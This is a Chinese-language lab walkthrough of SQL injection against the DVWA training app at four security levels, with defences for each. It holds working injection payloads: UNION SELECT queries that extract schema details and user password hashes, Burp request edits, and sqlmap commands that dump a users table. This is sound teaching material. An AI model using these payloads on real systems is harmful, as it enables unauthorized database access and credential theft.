前言
Level: Low
漏洞分析
复现步骤
防御措施
Level: Medium
漏洞分析
mysql_real_escape_string()核心作用
示例对比
复现步骤
防御措施
Level: High
漏洞分析
复现步骤
防御措施
Level: Impossible
安全措施分析
防护要点
测试验证
自动化工具使用(SQLmap演示)
总结与防御建议
SQL注入防御矩阵
全面防御策略
前言
SQL注入是最常见且危险的Web安全漏洞之一,它允许攻击者通过构造恶意SQL查询来操纵后端数据库。本文将通过DVWA(Damn Vulnerable Web Application)平台,详细演示从低级到高级的SQL注入攻击技术,并提供相应的防御措施。
Level: Low
漏洞分析
低级安全级别没有任何防护措施,直接拼接用户输入到SQL查询中。
$id = $_REQUEST['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
复现步骤
-
访问DVWA,设置安全级别为Low,进入SQL Injection页面
-
正常输入
1
,查看返回结果 -
尝试注入
1' or '1'='1
,获取所有用户信息 -
确定列数(使用ORDER BY,二分法):
1' ORDER BY 5-- 1' ORDER BY 3-- 1' ORDER BY 2-- // 正常说明只有2列
-
联合查询获取数据库信息:
1' UNION SELECT 1,database()--
-
获取表名:
1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()--
-
获取users表的列名:
1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--
8.获取用户名和密码:
1' UNION SELECT group_concat(user), group_concat(password) FROM users--
md5解密:5f4dcc3b5aa765d61d8327deb882cf99,password
防御措施
-
使用预处理语句(PDO/mysqli)
-
对输入进行严格过滤
Level: Medium
漏洞分析
中级使用mysql_real_escape_string()
转义输入,但使用数字型查询且未进行类型检查。
$id = $_POST['id'];
$id = mysql_real_escape_string($id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
mysql_real_escape_string()核心作用
-
转义特殊字符:将单引号
'
转为\'
,双引号"
转为\"
,反斜杠\
转为\\
等。 -
防止 SQL 注入:通过转义使特殊字符失去语法意义,确保用户输入作为数据而非 SQL 代码执行。
示例对比
未转义的危险示例:
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
// 若用户输入 username = "admin' OR '1'='1"
// 最终SQL变为:SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 导致无条件全量查询,数据泄露
转义后的安全示例:
$username = mysql_real_escape_string($_POST['username']);
$sql = "SELECT * FROM users WHERE username = '$username'";
// 若用户输入同上,转义后变为:admin\' OR \'1\'=\'1
// 最终SQL:SELECT * FROM users WHERE username = 'admin\' OR \'1\'=\'1'
// 此时单引号被转义,作为普通字符处理,查询条件保持原意
复现步骤
1.设置安全级别为Medium
2.使用Burp Suite拦截POST请求
3.修改id参数为1 OR 1=1
(不需要单引号)
id=1+OR+1=1&Submit=Submit
4.获取数据库信息:
id=1 UNION SELECT 1,database()&Submit=Submit
5.后续步骤与Low级别类似,但不需要处理单引号转义
防御措施
-
使用参数化查询
-
强制类型转换:
$id = (int)$_POST['id'];
Level: High
漏洞分析
高级别使用单引号包裹输入并转义,但存在第二个注入点(LIMIT子句)。
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
复现步骤
-
设置安全级别为High
-
点击"Link 1"打开新页面
-
注入
1' UNION SELECT 1,database()#
(注意使用#注释)
4.获取表信息:
1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
5.由于LIMIT 1限制,使用group_concat聚合结果
防御措施
-
完全避免动态SQL
-
使用存储过程
-
严格的输入验证
Level: Impossible
安全措施分析
不可能级别采用了完善的防护措施:
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
防护要点
-
使用PDO预处理语句
-
参数绑定
-
强制类型为INT
-
LIMIT 1限制返回结果
测试验证
尝试任何注入攻击都无法成功,输入被严格限制为数字。
自动化工具使用(SQLmap演示)
-
使用Burp Suite捕获请求并保存为txt文件
-
运行SQLmap:
sqlmap.py -r request.txt --batch --dbs
3.获取当前数据库表:
sqlmap.py -r request.txt --batch -D dvwa --tables
4.导出users表数据:
sqlmap.py -r request.txt --batch -D dvwa -T users --dump
总结与防御建议
SQL注入防御矩阵
防御措施 | 有效性 | 实现难度 | 说明 |
---|---|---|---|
输入验证 | 中 | 易 | 白名单优于黑名单 |
预处理语句 | 高 | 中 | 最佳实践 |
存储过程 | 高 | 中 | 需安全编码 |
ORM框架 | 高 | 难 | 需正确配置 |
WAF | 中 | 易 | 可作为补充防御 |
全面防御策略
-
开发阶段:
-
使用参数化查询
-
实施最小权限原则
-
进行安全编码培训
-
-
测试阶段:
-
静态代码分析
-
动态渗透测试
-
自动化扫描工具
-
-
运行阶段:
-
Web应用防火墙(WAF)
-
定期漏洞扫描
-
数据库活动监控
-
推荐阅读:【SQL知识】PDO 和 MySQLi 的区别-CSDN博客